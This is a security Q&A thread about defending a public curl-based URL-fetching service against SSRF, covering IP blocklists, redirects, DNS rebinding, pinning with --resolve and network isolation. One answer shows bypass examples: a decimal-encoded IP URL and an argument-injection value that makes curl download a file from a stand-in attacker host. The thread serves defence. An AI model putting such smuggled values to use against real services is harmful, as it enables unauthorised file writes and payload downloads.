3

This is a follow up of another topic (Is allowing unfiltered curl request from a website a vulnerability?) on which I am doing some private research.

Given:

A publicly reachable webservice that accepts any url and performs a curl get request on it. The service operates without authentication.

The linked topic already states that unfiltered access is a security issue. But something on this topic surfaces my thoughts periodically and it took me a while to think about: Can such a service made sufficiently secure against SSRF and alike?


Obvious steps:

  • cURL is mighty, restrict allowed schemes to http(s) and ftp (solves file, gopher, dict, etc. issues)
  • prevent access to entire loopback: localhost, 127.0.0.1-127.0.0.255 (I was totally unaware that the entire network of 127.x.x.x points to your machine 0_o)
  • prevent access to 0.0.0.0
  • disallow broadcast IP 255.255.255.255 (although unlikely that something serves anything on the allowed schemes above)
  • prevent private IPs to avoid access to internal networks (impersonalization of a server, which is part of the private network?) -> 10.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16 (thanks wiki)

But there is more, right?

  • if cURL is configured to follow redirects, the redirect must be validated the same way as the original IP, since forging a redirect is trivial
  • IPv6: Everything for the nice old IPv4 address space must be redone there too, right?
  • Are there some ports to filter by? Remember schemes are restricted to http(s) and ftp. This may still technically be a port scanner but not necessary malicious but getting a website from port 675 might be ok.
  • Prevent DoS remote urls: Implement some sort of token (CSRF token alike), introduce timeouts between multiple requests, say 1 second or ban IPs which keep hammering. (Does of course not solve DDoS, but preventing DDoS is probably outside of the scope here)

One last thing I cannot fully get my head around:

What's with DNS? Is it possible to register a DNS entry to point to localhost or private networks?

On my machine I technically can perform a GET of http://my.box and get my router. Now how can somebody mitigate that risk?

Is performing a nslookup a solution? If I get an IP, validate the IP. If not, it may be anything, deny. I keep forgetting what my NAS does so I can reach it via host name in my local network, but being paranoid is probably a good way here.

4

SSRF could only be mitigated with a (regularly updated) white list of hosts or URL's which are known to be safe, i.e. which don't have any side effects which depend on the source IP and where access to a URL will not cause an abuse report, law suite or similar against your site (for example because someone tries to find hidden pages on a site or making bomb threats).

A black list will help but is is not sufficient.

3

To add to what Steffen said, and provide some examples, you want to do a whitelist if at all possible. Blacklisting, like what you are proposing, can be bypassed.

For example:

http://2915201827/ - This is a valid website. Do you know which website it is?

Also, the tool as described is a proxy. Without throttling, someone could use this tool to perform attacks against another application and your site would be the one with the bulls eye from law enforcement. US courts have not been very kind to the "but it was open wifi, anybody could have done it" excuse, so there is precedent for it.

You need to be very careful with how you invoke cURL, and ideally, use a library instead of the command line tool. For example:

runtime.exec("curl " + url);

in Java wouldn't allow a user to enter this: ; ls blah/, but it would allow a user to enter this:

-O /tmp/asdf http://attacker.example.com/hahaipwn.txt.

Final words:

There's a lot to consider with such a service.

  • My bad, my scenario I modelled wouldn't execute curl via system call but use a php extension, so injecting anything else beside the url should be no issue. But thanks for the hint. The url you mentioned is of course opaque to the curl request but if it is not a private IP it should be a website like any other. It is not that the curl result is executed on server which would of course cause even more issues. – Samuel Feb 18 '16 at 10:03
2

if cURL is configured to follow redirects, the redirect must be validated the same way as the original IP, since forging a redirect is trivial

Yes. You'd be best off not getting curl to follow redirects and instead manually check the Location header when a redirect is encountered.

IPv6: Everything for the nice old IPv4 address space must be redone there too, right?

Yes, if you're supporting IPv6.

Are there some ports to filter by? Remember schemes are restricted to http(s) and ftp. This may still technically be a port scanner but not necessary malicious but getting a website from port 675 might be ok. Prevent DoS remote urls: Implement some sort of token (CSRF token alike), introduce timeouts between multiple requests, say 1 second or ban IPs which keep hammering. (Does of course not solve DDoS, but preventing DDoS is probably outside of the scope here)

Depends on the functionality you're trying to support. You could detect multiple attempts either from the same IP or to the same IP and the rate limit them, possibly showing them a CAPTCHA after a while.

One last thing I cannot fully get my head around:

What's with DNS? Is it possible to register a DNS entry to point to localhost or private networks?

Yes. It is perfectly possible to point an A record at a private address. Furthermore it is possible to point an unrelated domain at a private address and then point a CNAME at that domain, causing this, in effect, to resolve to the private address.

On my machine I technically can perform a GET of http://my.box and get my router. Now how can somebody mitigate that risk?

You should isolate the machine serving the requests to its own subnet. This would only have access to an internet gateway which is configured to only route traffic out onto the public internet.

Is performing a nslookup a solution? If I get an IP, validate the IP. If not, it may be anything, deny. I keep forgetting what my NAS does so I can reach it via host name in my local network, but being paranoid is probably a good way here.

Yes, as long as you explicitly tell curl to follow that IP.

You need the lookup and the curl request to be unified. Otherwise an attacker could possibly set a very low TTL (Time To Live) and update the DNS record before curl runs to fetch it. Otherwise you would also get problems with entries caching.

For example, the --resolve curl parameter allows you to specify the hostname and port separately so you can connect to the previously resolved, validated IP but make curl perform like you you've told it the full hostname. From the man page:

--resolve Provide a custom address for a specific host and port pair. Using this, you can make the curl requests(s) use a specified address and prevent the otherwise normally resolved address to be used. Consider it a sort of /etc/hosts alternative provided on the command line. The port number should be the number used for the specific protocol the host will be used for. It means you need several entries if you want to provide address for the same host but different ports.

This option can be used many times to add many host names to resolve.

(Added in 7.21.3)

e.g. curl --resolve www.example.com:443:203.0.113.24 https://www.example.com/

Of course all of the above does not prevent abuse reports from being filed against you from target hosts. For example, there is always the risk that someone might use your service as a proxy in order to exploit another server (e.g. via SQL injection). Although not infallible, you should create and retain full audit logs for use of your service.

  • Thanks for the detailed replay. Sounds technically difficult to make this waterproof. For what would I keep audit logs? I would expect that an attacker would proxy the access to such a service anyway. Or do the audit logs server a different purpose? – Samuel Feb 18 '16 at 12:13
  • They probably would proxy to your service, however at least you are doing your part and are recording what has happened. Additionally, it allows you to investigate should anyone try circumventing the controls to prevent SSRF that you have in place. – SilverlightFox Feb 18 '16 at 13:56
  • Now I wonder whether having terms of service disallowing such behaviour and full audit logs is able to protect you in any way from the "liability of disturbance" or "breach of duty of care", or whatever it is called in English. – Samuel Feb 18 '16 at 14:29
-2

You should NEVER use curl to send reuests anywhere without network based filtering! You should use squid proxy and send your requests using it! There so mny ways to bypass blacklisting filtering!

  • Why squid? Any proxy would do. However, simply to fake your IP, maybe tor is more feasible. But afaik this question has the focus on the defensive side. – peterh Apr 13 at 15:03

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.